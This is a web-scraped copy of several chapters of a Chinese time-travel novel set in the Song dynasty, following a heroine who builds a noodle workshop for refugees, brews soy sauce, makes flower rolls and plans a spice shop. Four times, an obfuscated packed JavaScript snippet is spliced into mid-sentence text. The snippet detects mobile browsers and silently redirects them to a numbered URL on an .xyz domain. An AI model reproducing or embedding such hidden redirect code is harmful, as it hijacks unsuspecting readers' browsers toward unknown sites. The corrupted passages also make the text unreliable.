鲁大跪着不敢动，张二嫂跟王大崔只好联手将他从地上架起来。 见鲁大低垂着头，一副诚惶诚恐的样子，王文茵道：“你且抬起头来说话。” 鲁大这才抬起头来，眼前这个王小娘子虽然年幼，却有着不同寻常的气场，鲁大不敢造次，垂下了眼皮回道：“小娘子尽管吩咐。” 王文茵正色道：“既然大家都推荐由你来当这个工头，那必然是因你有着过人之处。先头发生的事我们暂且按下不表，我答应过里正让你将功补过，你切记莫要再犯同样的错，否则我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874472|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保不了你，知道吗？” 先小人后君子对犯过错的人来说比什么都好使。 果然，鲁大点头如捣蒜，战战兢兢回道：“小的谨记小娘子的大恩大德，绝不会再干那些鸡鸣狗盗之事！” 王文茵满意地笑了，自己毕竟尚未及笄，怕镇不住这些流民，虽然叫了张二嫂跟王大崔在旁助威，但年龄摆在那儿，想要立威就得拿一人开刀，杀鸡儆猴，好叫其他人知道安分守己才有饭吃，否则就只有一条道走到黑。 她面向众人，朗声道：“大家好好干活，我保证不会亏待你们，且不说大富大贵，至少能保证你们不愁温饱。若是不信可问问我身边的二婶子同王大叔，看我是不是言而无信之人。” 王大崔拍着自己的瘸腿对众人道：“我这样一个废人，若不是遇到小娘子，怕是活不过这个冬天。你们看看我现在的模样，就知道这日子过得有多好了，跟着小娘子才有饱饭吃，明白吗？” 明白，明白。 流民中有不少识得王大崔的人，当然清楚他先头是个什么模样，再看他如今红光满面的样子，脸还胖了一圈，就知道最近伙食有多好了。 “我们小娘子可是厚道人，从来不亏待身边的人，大伙儿只要肯吃苦，就一定能过上好日子！”张二嫂又给王文茵画的大饼撒了一把糖，不得不说，效果奇佳。 这套组合拳打下来，流民们已经对王文茵心服口服，纷纷下跪叩谢。 王文茵十分头大，莫名感觉自己像后世搞传销的头目。 张二嫂见状立马大声警告：“有些规矩我得给大伙儿立一立，我们小娘子说了在咱们米线作坊干活的人都是平等的，不能随便给人下跪，若是谁见了小娘子就下跪磕头，那可是要罚钱的！” 一听要罚钱，众人麻溜地从地上爬起来，笑嘻嘻回道：“二婶子，咱们没下跪，就是腿软跌了一跤而已。” 气氛顿时活络起来，众人都在私下议论，王小娘子人美心善还没架子，跟着她以后就有好日子过了。 鲁大的娘子刘氏抱着孩子上前来朝王文茵行了一礼，“今日之事错在我男人，我替他给小娘子道歉，小娘子的恩情我们一家没齿难忘。也请小娘子放心，我一定不会让我男人再干出作奸犯科之事，否则就让我不得好死！” 王文茵听了直摇头：“你男人犯错为何要惩罚你？你又做错了什么？” 刘氏愕然片刻后喃喃道：“他是为了我们娘俩才偷了东西，若是没有他，我一个人又如何养得活孩子？” 这话确实也没错，王文茵知道哪怕是后世的单身母亲要养活自己和孩子也是很不容易的事。她理解地点了点头道：“女子本弱，为母则刚，不要轻看你自己，女子未必就不如男。” 这番话刘氏未必听得懂，但有人却听懂了。 文安世嘴角抿出一丝饶有兴味的笑来，回身对陈武道：“你去问问王小娘子修房子需要多少银两，除了银两还需要别的什么材料？”顿了顿又补了一句：“别跟她说我来过。” 为何不能告诉王小娘子？陈武挠挠后脑，十分不解，七郎行事怎地越来越古怪了？ 25. 第二十五章 流民们向王文茵提议先修建米线作坊，因为米线作坊盖好了，他们就能打工挣钱了。虽然住窝棚冷，但也已经住了一段时日，不差这几日。王文茵同鲁大、张二嫂他们商量后，经过全体流民一致同意，决定先修米线作坊。 先前在静缘庵的小灶房里做米线场地有限，人手一多就容易混乱，施展不开来。既然要盖一座全新的米线作坊，王文茵便决定亲自动手设计建筑方案。此外，考虑到坚固耐用的问题，她打算盖砖瓦房，虽然造价成本比茅草屋要高不少，但可以延长屋子的使用寿命，还能抵御自然灾害。 王文茵将作坊设计成一个凹字形的屋群，类似中间正房，两侧偏房那种半合院式的民居。 中间的院子是晒坝，其中一侧偏房用来做泡米、磨浆、脱水等工序；中间的正房内砌一个七星大灶，可以同时容纳七口铁锅，这样就能让三到四人一起制稞、蒸稞、压榨米线；而另一侧的偏房则是将新出炉的米线搓揉、顺丝、裁切，再拆丝。 待这些工序都完成后，便可将米线搬到晒坝上，用竹签串起来平铺到竹篾上晾晒风干。整个工序呈流水线操作，不会因人员交错而造成混乱，既可以提高生产效率，又能增加米线的产量。 这种半开放式的合院中间和前方都是空地，面向开阔，通风又好，非常适合用来做农家小院。 鲁大看完图纸后跟王文茵提了一个不情之请：“能不能烦请小娘子也帮咱们设计一下茅草屋？我适才去看过了，那几块地基要是拿来盖屋子，东一处西一块的怕是连过人都困难。” 原来里正划给流民的几块宅基地基本都是山脚下的荒地，除了用来建造米线作坊的这块地相对比较平整，其余地基都是高低不平的坎坡地。 王文茵到荒地周围去实地考察了一番，鲁大说的没错，这几块地基狭长不一，大小不等，高低错落，真要在上头盖房子，怕是连通行都是问题。 不过这样的坎坡地也不是没有好处，王文茵想起后世的坡地建筑就是依山而建，将周围的山水风光与人文建筑互相映衬，融为一体，反而比平地住宅更添了一丝趣味。 于是，王文茵便将自己给流民设计的坡地建筑群的规划方案画成了一幅山水图，让陈武转交给文安世，并附上工程材料的预算清单，以便让金主爸爸清楚知道自己的银子到底花在了什么地方。 文安世将王文茵的设计方案拿给祖母文老夫人过目，老夫人边看边赞：“想不到王小娘子不但擅于中馈，还做了一手好画。” 文安世有些哭笑不得：“祖母，这并非是什么山水画，是王小娘子为流民设计的定居建筑群图样。” 文老夫人十分惊讶：“王小娘子居然懂得如何建造屋舍？她究竟是何来历？” 文安世心说：这的确是个好问题。他决定亲自去问问王文茵。 此时，王文茵正跟鲁大、穆叔、张二嫂他们围坐在地上开会，讨论夯地基、买材料的事。她要修的是砖瓦房，需要采购砖石、瓦片、木料和沙子、石灰等建材，这里面有些材料其他人修建茅草房也一样需要，一起采买还能砍价。 穆叔既是木匠，也是掌墨师。“掌墨师”就相当于现代建筑行业的总工程师，负责堪舆选址、项目设计、预算规划、材料组织、掌墨放线、房屋起架、上梁封顶、施工管理等建造工作。【注1】 先头王文茵交给文家的那份建筑造价的预算清单就是总工程师穆叔核算出来的。 不过这些建材丰收村一带是没有的，王文茵让鲁大拨一半青壮年出来跟穆叔一起去朱仙镇上采购砖瓦木沙灰等材料，其余的人则先挖基坑，再将地面夯实填平，这样才能确保盖在上面的房子坚固稳定。 开完会大家分头行动，王文茵还没来得及喝口水润润喉，就看到文安世来了。见他手里拿着自己手绘的那幅规划图，便知道他是为何而来。 “七衙内是想询问关于修房的事？”王文茵说话的声音明显有些暗哑，这一整天折腾下来，嗓子都快冒烟了。 文安世体贴道：“小娘子不妨先喝口水再慢慢聊。” 王文茵感激地看了他一眼，自去倒了一碗水，不顾形象顿顿顿喝干，抬起手背抹去嘴角的水渍，突然想起旁边还有人在，有些不好意思地冲文安世笑了笑。 “七衙内有什么想问的？” 文安世抿嘴笑笑，将那幅规划方案图的卷轴展开：“这是小娘子亲手所绘？” “正是。” “可否请教小娘子是从何处学来的有关房屋建筑的相关专业知识？” 王文茵心说，当然是从后世学来的呀，但我说了你能信吗？不过没关系，有现成的话术可以应付你。 “七衙内可曾听说过本朝郊社斋郎【注2】李诫，李明仲？【注3】” 文安世摇头：“不曾听说。” “那么七衙内可知道编纂《木经》的两浙工匠喻皓？”【注4】 文安世恍然道：“可是被前朝欧阳永叔（欧阳修）相公称为‘国朝以来木工一人而已’的喻皓？” “正是此人。”王文茵娓娓道来：“李明仲便是在《木经》的基础上编纂了一部关于建筑设计、施工的规范书。此书涵盖了大宋开国以来百余年间有关建筑的设计标准、规范，材料，施工定额，房屋建筑的等级制度，建筑的艺术形式及严格的料例功限。该书曾因严格的工料限定成为前朝王相公执政期间制定各种财政、经济的有关条例之一，用以杜绝施工过程中的贪污盗窃行径。”【注5】 文安世眼睛一亮：“此书为何名？” “《营造法式》。”王文茵心说，虽然这本书现在还没正式命名，但我提前预告一下也不算破坏历史进程。 文安世叉手道谢：“多谢小娘子指教。” “七衙内无须客气，正好还有一事想同七衙内商议。” “小娘子且讲。” 王文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886659|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茵指着山下的田地道：“本村耕地面积有限，大部分水田都被村民包圆了，余下的荒田收成欠佳。流民没有自己的耕田，只能租赁农户的荒田，若是遇上天灾欠收便容易造成饥荒。”她有指向山头：“但若是能将这些山头的荒地开发成为梯田便能解决流民无田的问题。” “小娘子所谓的‘梯田’可是‘畲（she）田’？”文安世道：“我曾在书上读到过饥荒年间农户用刀耕火种的原始方法将山地开发成畲田的先例。”【注6】 王文茵摇头道：“刀耕火种的耕作模式须先烧掉田里的草木，用草木灰肥田，然后播种。而山民开垦畲田采用的是顺坡而耕，不设堤埂，并且将山上的树木砍光后再焚烧用作肥料，这样一来便会对土地的植被造成严重破坏。遇上大雨天，雨水便会顺坡而下，水土流失严重，土壤肥力便会衰减，故而过几年又要重新开辟新田。如此循环往复，耕地面积非但没有增加，山林环境反而越来越糟糕，是以畲田不是良策。”【注6】 “那梯田又是如何？” “我曾听祖父谈起，闽南地区的农民为了增加耕种面积，采用沿着坡地等高线方向修筑条状阶台式或波浪式断面的梯田，取代原先山上刀耕火种的畲田。这类梯田经过农户的精心管理，能够防治坡地水土流失，既能蓄水保土，还能有效增产。只是具体如何修筑梯田，我不甚清楚。”【注6】 王文茵顿了顿又提示道：“但我知道大中祥符四年真宗帝便是派遣使者从福建取来三万斛占城稻稻种推广至全国的，相信朝中应该有关于梯田的记载。” 其实她是知道梯田该如何开垦的，但她不能说，一则泄露太多天机对她不利，二则由文安世来做这件事比她做更合适。 文安世郑重道：“既是如此，那我便去京中查阅典籍，若真能将此山开发成良田，便是造福百姓之事，何乐而不为呢。” 王文茵笑着福身道：“七衙内善心必有好报。” 文安世则躬身作揖：“我能做的不及小娘子万分之一，小娘子才应得福报。” 噗呲~~ 王文茵抿嘴笑道：“七衙内可知何谓‘商业互吹’？” “愿闻其详。” “那便是你夸我一句，我再夸你一句的意思。” 文安世促狭一笑：“小娘子总能说出些有趣的词儿来，不知是不是令祖父教导有方？” 王文茵脸一红，尴尬道：“是我自己胡诌的，七衙内莫要当真，祖父未曾教过我这些。” 文安世满眼含笑，“我先前就说过，听君一席话胜读十年书，此言不虚，是我真心所想。” 王文茵大囧，再这么交浅言深下去可是要出大问题的，一拍脑门道：“哦，差点忘了一件大事，今日要开始酿造酱油了，恕我不能奉陪，七衙内且自便，我先回去了。”说完头也不回地走了。 文安世有点摸不着头脑，难道是自己又说错话得罪了王小娘子？ 26. 第二十六章 中餐讲究五味调和，所谓五味便是酸、甜、苦、辛（辣）、咸。以此五味为基础再拓展出各种复合型口味，多层次口味，令人的味觉达到前所未有的美妙享受。而这五味中甜和咸是受众最广，也是人最需要的两种调味。 作为美味的核心，咸是最不可或缺的一味调料，宋朝人的咸味来源主要是盐和酱。酱在宋朝之前就已经出现，跟后来的酱油不同的是，最早的酱出现在西周时期，是用肉类、鱼发酵而成的“醢（音hai）”，或在酿造时加入动物血液制成的“醓（音tan）”。“醢”和“醓”跟现代的鱼露制作过程非常相似，是古代皇帝御用的调味品，普通老百姓是吃不起的。【注1】 而历史上第一次对酱油有记载，便是在北宋。苏东坡在《格物粗谈·韵藉》中说：“金笺及扇面误字，以酽醋或酱油用新笔蘸洗，或灯芯揩之即去。”【注1】 既然市面上还没有真正的酱油售卖，那么王文茵就决定抢占这个先机，用古法酿造出历史上第一缸酱油来。 前几日王文茵将大豆与小麦粉混合后置于温暖的环境里，阿萍几乎每日都去观察这些大豆的变化，今日她兴冲冲跑来告诉王文茵，大豆表面已经被一层“青苔”包裹了。 王文茵便过去仔细检查大豆表面那层草绿色毛茸茸的酱油曲霉，这是促使大豆继续发酵形成酱油胚的关键所在。 “这不叫‘青苔’，这叫酱油曲霉。” 尽管王文茵已经教过她，但阿萍总也记不住这个奇怪的名字。 “看起来像是发霉长毛了。”阿萍皱皱眉：“发了霉的东西吃了会呕吐拉肚子，还会死人呢。” 王文茵给阿萍科普：“自然界有很多种霉菌，有的霉菌是‘好’的，有的霉菌是‘坏’的。发霉长出来的毛，其实就是菌丝，不同霉菌会呈现出不同的颜色，比如草绿色、白色、灰色、褐色、红色和黄色。”【注2】 “好的霉菌不但可以酿造食品，还能治病救人。像根霉、毛霉、曲霉分泌的淀粉酶可以把大米、小麦、大豆中的淀粉转化成糖，根霉在糖化的同时还能发酵产生酒精，酿酒用的酒曲里就有根霉。”【注2】 “米曲霉、红曲霉、黑曲霉也都是酿酒常用的霉菌，酱油曲霉和米曲霉还能将豆类通过微生物发酵成各种酱和酱油。毛霉就更有意思了，它能产生蛋白酶，将大豆里的蛋白分解发酵后制成豆腐乳。此外还有能将牛乳制成酸牛乳的乳酸菌也是一种益生菌，就连你最喜欢的醋也是用曲霉菌发酵酿造而成的。”【注2】 “而治病救人用的青霉素则是从青霉菌中提炼出来的抗生素，不过这个咱们现在的技术做不了，就不用考虑了。当然也有‘坏’的霉菌，就是你说的那种食物上发霉后产生的黄曲霉毒素，这种霉菌是有毒的，吃下去不但会拉肚子呕吐，还会要了人的命。总之，霉菌既有好的一面，也有坏的一面，关键看咱们怎么用了。”【注2】 阿萍用一种崇拜的目光仰视着王文茵，“小娘子，你懂的学问可真多！” 王文茵用指头轻弹阿萍的额头，“所以我让你平日里有时间便读点书，这些都是从书上学来的。前朝的真宗皇帝不都说了嘛，‘书中自有千钟粟，书中自有黄金屋。’” 阿萍讪笑：“我保证以后念书再也不犯困了，我要跟小娘子一样学问多多。” “孺子可教也。”王文茵指着发霉的大豆道：“咱们这便开始酿造酱油吧。” 她指挥阿萍净手后将表面包裹着酱油曲霉的大豆放入干净的缸内，再加入事先准备好的海盐水与大豆搅拌均匀，随后在陶缸上面扣个盖子，放置在后院的角落里。【注3】 “这古法酿造酱油的核心环节便是露天晾晒。”王文茵道。 “需晾晒几日？”阿萍已经有些迫不及待了。 “几日？”王文茵摇头：“起码得晾晒个半年至一年方能酿造出色泽浓郁的酱油来。” 阿萍惊讶地张大了嘴：“要这么久啊！” 王文茵点点头，倾囊相授：“酱油缸放置在院子里经过几个月的日晒，让大豆自然发酵，在此期间每日必须翻搅酱油缸内的豆酱，让大豆能充分均匀发酵，经过长达数月的日晒和夜露，深亮香醇的酱胚便成熟了。”【注3】 “此时需加入山泉水再回浸一日，翌日方可将发酵完成的酱油汁用纱布过滤出来。到这一步酱油尚未完成，还须将过滤的酱油暴晒提纯，随后倒入锅内熬煮沸腾，令酱油停止发酵后再放入经过蒸煮消毒的罐子内，手工酿造的酱油才算真的完成了。过滤后的豆酱不要扔掉，可以保存起来调制其他酱料，或炒菜时用。”【注3】 阿萍很是发愁：“小娘子，我怕自己记不住这许多步骤咋整？嗐，早知道就应该听小娘子的话好好习字，用笔记下来多好。” “跟着做一次就记住了，当然念书习字也不能偷懒。” 阿萍举手发誓：“若是我再偷懒不上进就罚我永远吃不饱饭！” 嚯，这誓言可够重的，王文茵拍拍阿萍的胳膊：“别咒自己，小心天上的神明听见。” 阿萍吓得一哆嗦，扑通朝天跪倒，双手合十向神明讨饶。 王文茵从不把小孩子随口发的毒誓放在心上，阿萍虽然比她年长，但也还是孩子，且自己已在太虚幻境中游历过一世，早已不再是孩童心态，见自己一句玩笑话就把阿萍吓得不轻，不免有些愧疚，便安慰她：“不必担心，神明很忙的，顾不上那么多琐事。” 阿萍将信将疑，为了破除她的迷信思想，王文茵提出晚上给大家做花卷吃，正好前两天用干米线跟村里的农户换了一石小麦粉。 宋朝人把各种用蒸煮方式弄熟的主食称为“蒸作从食”。【注4】 宋朝的“蒸作从食”花样繁多，有春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894198|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茧（春卷）、大包子（大菜包，不是现代的包子）、荷叶饼、芙蓉饼、欢喜团（源自印度）、骆驼蹄（裹肉馅的重阳糕）、太学馒头（就是现代的包子）、灌浆（灌汤包子）、蟹黄（蟹黄包子）、蒸饼（现代的馒头，宋朝也叫炊饼、笼饼）、千层（千层饼）、月饼（宋朝的月饼没有馅儿）、毕罗（中亚食物）、春饼（野菜饼子）、韭饼（韭菜饼子）、诸色夹子（藕夹、茄夹等）、面夹儿（水煎包前身）、诸色角子（狭长形的包子）等，唯独没有花卷。【注4】 做太学馒头须用肉馅，王文茵自问眼下还没这个财力可以买得起豚肉供给这么多人食用。蒸饼虽然饱腹，却没啥味道，还要就着咸菜一起吃，于是改良版蒸饼——花卷就此诞生了。 花卷可以做成椒盐、麻酱、葱油等各种口味，但王文茵想试试五香的。先前调制的十三香味道太过浓郁霸道，用来拌馅、卤肉、烧烤比较合适，做面食还是相对清淡的五香粉比较适合。 从已经磨成细粉状的备用调料中取出桂皮、八角、花椒、丁香、茴香来，按比例调制成五香粉，加入适量的小麦粉、盐，葱花后用滚热的猪油爆香，调成油酥备用，接着便是和面、发面。【注6】 发面需要用到酵母，古代没有现成的酵母粉，只能用古老的土法发面。常用的发面方法有六种，分别是酒酵发面法、酸浆酵发面法、酵面发面法、对碱酵子发面法、酵汁发面法、和酸奶发酵法。【注5】 王文茵决定用相对便捷的酒酵发面法，权因其他几种发面方式都需要提前准备酵子，而酒酵发面只需将米酒和大米煮熟的汁液来和面，便可让面团发酵。【注5】 静缘庵没有米酒，王文茵从文家庄借来少许酒酿混合米汁做成酵子后加入小麦粉中，用温的山泉水将面粉搅成面絮，再揉成面团后放入木盆中盖上盖子松弛一刻钟。待面团发酵至两倍大后擀成厚薄均匀的长方形面皮，随后在面皮表面涂上一层油酥，接着从一端向另一端卷起来，再用刀将长面卷切分成等量的面剂子。【注6】 取一个面剂子捏住两端稍稍抻长再对叠，捏住中段扭成花型便成了一朵花卷。随后放入蒸笼中再次醒发，大约半刻钟后便可加热蒸熟。花卷出锅的时候满屋子飘香，阿萍不顾烫手，拿起一个就往嘴里塞，呼哧呼哧吐着舌头直呼太香了。【注6】 “小娘子又在做什么好吃的？我在门口就闻到香味了。”赵四郎大踏步进来，眼尖地发现那一笼花朵似的新奇吃食：“这是……蒸饼？” 王文茵开始怀疑赵四郎是不是自带美食监测雷达，不然为何每次她们做新鲜吃食他总能不期而遇？ “这叫花卷。”王文茵纠正他：“是经过改良的蒸饼。” “神医你赶紧尝尝，可好吃了。”狗腿子阿萍借花卷献佛了。 赵四郎咽了一大口口水，不好意思笑笑：“那我便不客气了。” 27. 第二十七章 赵四郎是真的不客气，一笼花卷被他风卷残云般干掉了近半，名副其实的干饭人。 “这花卷实在太香了，完全停不下来。”赵四郎意识到自己吃得实在有点多，顿时不好意思起来，适才阿萍给他端来一盘又一盘，他光顾着吃完全没意识到自己究竟吃了多少。 王文茵和阿萍捂着嘴偷笑，看赵四郎这吃相足以说明花卷的受欢迎程度不亚于米线，王文茵打算以后多开发此类既能饱腹又美味可口的平民美食。 “小娘子可是在这花卷中加入了秘制的十三香调料？”赵四郎问道。 王文茵摇头：“十三香味道太浓郁，不适合蒸作从食，我用的是五香粉。” “五香粉可是用五种香料调制而成？”赵四郎拿起花卷仔细闻了闻道：“我来猜猜有哪几种香幸料，唔……桂皮、八角、花椒、丁香，还有茴香对不对？” 王文茵拍手笑道：“郎君好鼻子。” 赵四郎摸摸鼻子自嘲：“小娘子是说我像狗吗？” “郎君可知狗鼻子比人鼻子要灵敏一千倍？眼盲之人听觉比寻常人灵敏数倍，若是郎君真有狗鼻子那般灵敏，那岂不闭眼便能分辨药材种类？”王文茵一本正经的胡说八道。 赵四郎不得不给她写个服字，嘿嘿笑道：“小娘子骂人都骂的如此清新脱俗，某实在佩服！佩服！” “承让！承让！” 王文茵很喜欢赵四郎这样不拘小节的人，尤其在这个男女大防的时代，能平等且尊重地对待女性，这样的男子可说是凤毛麟角了。 吃货赵四郎倒是没想这么多，他只想怂恿王文茵一件事：“小娘子何不考虑到朱仙镇上开一家食肆，就凭你这手艺，生意很难不火爆。” 赵四郎心说，这样我就有口福了。 王文茵想都没想就拒绝了：“朱仙镇上开食肆租金贵得要死，眼下我手头可没那么多银子。” “钱不是问题。”赵四郎拍着胸脯道：“你若是愿意，我们可以合伙一起投资。” 王文茵以为他吃错药了：“你可是堂堂医学世家的传人，若是跟我一起合伙开脚店，就不怕被你父亲打断腿？” 赵四郎挠脸讪笑：“家父虽然严厉古板，但家兄必定会支持我的。不瞒你说，比起行医，我更喜欢做买卖，若是能开一家食肆，那便是最理想的。” 王文茵认真想了想，道：“我倒是有个想法。” “说来听听。” “我觉得我们可以合伙开一个香料铺子，专卖各种秘制的调料，既可以用来做膳食料理，还能做各种炖补饮子。”王文茵拿起五香粉给赵四郎看：“最关键的是香料本身就是一种药材，跟你家药铺有异曲同工之妙，不会偏离你原来的主业太远，相信你父亲也不会太过反对。” 赵四郎一拍大腿，喜道：“小娘子真是聪慧，我怎么就想不到呢？这香料铺子本就是药铺的一类分支，若是咱们专卖小娘子研制的各种十三香、五香粉之类的调料，那必定打遍朱仙镇，哦不对，是打遍汴京城无敌手！” 王文茵原本的计划只是想将十三香、酱油这类调味料当做秘密武器用到膳食中去，这样风味独特的菜肴必定能帮她在汴京美食排行榜上争得一席之地，倒是赵四郎给了她新的启发，卖调料不失为一条新的发财之道。 “既然打算一起合作，那咱们必须得拟一份合约。”王文茵道。 赵四郎欣然同意：“那是必须的，关于合约小娘子可有什么想法？” 王文茵在心里盘算了一番，自己手里除了十两金锭的备用金，还有25两银子流动资金。除去修建米线作坊的花费，估计剩不了多少，所以开香料铺子不能一下子投入太多，否则手头就拮据了。 “我的想法是咱们前期不要投资太多，除去租赁店铺的费用，装修尽量俭省。” “成，没问题。”赵四郎拍着胸脯道：“租店铺的事就交给我，保证给你找到价廉物美地段好的铺子。” 王文茵点头：“既然是合作，那我们就各出一半资金。” 赵四郎连忙摆手：“不成！小娘子的秘方才是店铺盈利的核心所在，你无须出资，开店的租金和装修都由我这边来出，至于雇员和店铺的日常开支，则从盈利中支取。香料的货源可从我家药铺的供货商那儿进货，保证价廉物美、童叟无欺。” 看他兴致上头的样子，王文茵忍不住给他泼了盆凉水：“郎君，这开店的事你是不是应该先跟令尊大人商量一番？” “小娘子是担心我拿不出银两来吗？”赵四郎点破王文茵的言外之意。 王文茵尴尬又不失礼貌地笑着默认了。 赵四郎爽朗一笑，坦言道：“小娘子不必担心，我虽不是大富大贵之家出生，但从小便跟随父兄打理家中药铺，家父见我善于同人打交道，便遣我来管理朱仙镇的分铺。这间分铺在我的打理下比先前盈利翻了一倍不止，家父每年都会给我分红，我便将这些银子都存了起来。若是开一家酒楼我手头的本金怕是不够，但若只是开一间香料铺子，那是绰绰有余的。” 既然赵四郎如此坦荡，王文茵也不扭捏，爽快道：“成！那就当我是技术入股了。利润的话我们五五分，如何？” “不成，还是四六分比较合适。” 王文茵还以为赵四郎要说她四，他六，没想到他居然说：“小娘子得六分利润，我拿四分即可。” 这下王文茵是真的没了脾气，忍不住好奇道：“既是郎君出的本金，为何反将利润的大头让渡与我？” 赵四郎谦逊一笑：“其实有没有我，这香料买卖小娘子都能做得起来，倒是我沾了小娘子的光，又怎能再多占便宜？” 王文茵暗忖，赵四郎是太聪明呢，还是太傻？虽说这十三香的配方是机密，但也犯不上为了一道秘方投入这么大吧？ 赵四郎见她犹豫，又道：“小娘子是有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900354|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么顾虑吗？” 王文茵摆手：“四六就四六吧。” 不管赵四郎打的什么主意，王文茵也不担心，一道秘方而已，她手握的又岂止这一道秘方。退一万步讲，即便赵四郎真的窃取了十三香的秘方，她也有办法扭转乾坤。 “那就这么说定了！”赵四郎笑逐颜开：“回头我拟一份合作契约送来与小娘子过目。” “还有一事。”王文茵道：“我不便出面，这香料铺的老板须由你来担当。” 赵四郎以为王文茵是顾忌自己小娘子的身份，不方便抛头露面，所以让他来当这名义上的老板。他哪有不答应的道理，点头道：“没问题，你就安心当幕后老板，凡是需要出面的事都由我来便是。” 跟爽快人做生意就是好，不用费什么心机，两人就这么愉快地达成了合作协议。 王文茵将自己扩建米线作坊的缘由也告诉了赵四郎，赵四郎点头赞许：“授人以鱼不如授人以渔，小娘子此举不但解决了流民的温饱问题，还能替官府解决流民的安置难题，不失为一举两得的妙计。” 赵四郎的话令王文茵心中一动，她有了一些新的想法，张了张嘴，却没说出口。 “小娘子可是有什么想法？”赵四郎心细地注意到她的脸色变化。 “只是一些不成熟的想法，很多事就算想做那也必须先有资本才能去做，况且我目前尚未站稳脚跟，还是一步步来吧。”王文茵摇了摇头，决定等时机成熟再和盘托出。 赵四郎理解地点头，“小娘子若是需要人帮手，我随传随到。” 王文茵感激一笑：“那我一定不会客气。” 赵四郎被她笑得有点不好意思，红着脸道：“我们是朋友嘛，客气啥。” 陈武进来的时候正好看到这一幕，好奇地打量了赵四郎一眼，心说：此人跟自家七郎年龄相仿，为何王小娘子待他跟待七郎的态度相去甚远？ 王文茵让阿萍也给陈武拿了一盘花卷品尝，陈武连夸好吃，她便让陈武将新出炉的一笼花卷带去给文老夫人和文安世品尝。 陈武回去后顺便将自己看到的事也一并告诉了文安世：“我在外头隐约听到王小娘子说要跟那人一起合伙开什么香料铺子，打听了一下，原来那人竟是赵太医丞家的四郎。” 文安世皱皱眉，嘟哝：“她怎么想到一出是一出，米线作坊还没修完，又琢磨着要开什么香料铺子，也不怕被人骗！” “七郎是担心王小娘子被那个赵太医丞家的四郎骗吗？”陈武道：“需要我去盯着他吗？” 文安世摆手，“不必，她喜欢折腾就让她折腾去，我倒是要看看她能折腾出什么花样来。” 陈武挠挠头，七郎这话听着怎么有些吃味？ 文安世捏起一只花卷扔进嘴里，泄愤似的咬了一口，唔，怎地这般香又松软可口，比那爽滑弹牙的米线有过之而无不及，那女子做吃食确实很有天赋。 28. 第二十八章 翌日，王文茵便带队去朱仙镇上采购修建房屋用的砖石、瓦片、条石、沙子、石灰、木料等建材。跟各大建材商谈妥价格后先运回一批现成的，剩余的建材商家会陆续派人运送到丰收村。 材料到位后，工头鲁大便指挥流民开始修房，基本上成年男女和半大的孩子都到工地上来干活了，老人则负责给工地做饭。因为王文茵说过凡是参与修建米线作坊的人都给记工时，到时候可以用工时兑换铜钱，此外，每日还给大家提供免费的餐食。 砖瓦房修起来很快，材料都是现成的，地基早已夯实，没两天功夫墙体已经砌完，接下去就是穆叔带人立柱上梁。在砌墙的同时，穆叔已经让鲁大将木窗框提前嵌入墙体，挖出窗洞备用，以便后续安装门窗。 甩手掌柜王文茵除了出钱什么都不用干，每天跟点卯似的到工地里转一圈，发现有了众人高涨的热情，这盖房子就跟旱地拔葱似的长势惊人，不由得感叹：没有花钱的不是！ 与此同时，在张二嫂的统筹管理下，静缘庵的米线小作坊每日都有稳定的产量，王文茵便可以腾出手来研发新的产品。 山下的米线作坊封顶那日，赵四郎又带来了一个好消息，他已经找到了一间各方面条件都十分合意的铺子，准备等王文茵看过满意后便签署租房契约。 那还等什么！行动派王文茵火速赶往朱仙镇。 铺子就在赵家药铺隔壁，先前是一间书肆，店面不大，采光却非常好，后面还有一个院子和三间屋舍并厨房茅厕。推开后院的门便是小巷，闹中取静，整洁干净，很合王文茵的眼缘。 “这间铺子我记得先前是一家书肆？”文茵道出了内心的疑惑。 “小娘子记性真好，这里原先的确是一家书肆。”赵四郎也不隐瞒，“这间铺子其实也是我家的产业，先前租去开书肆的人说要携家眷回南方去了。我四处看过后觉得还是自家这间铺子最合意，便同父兄商议后要了过来。小娘子若是不满意，我再另寻他处？” 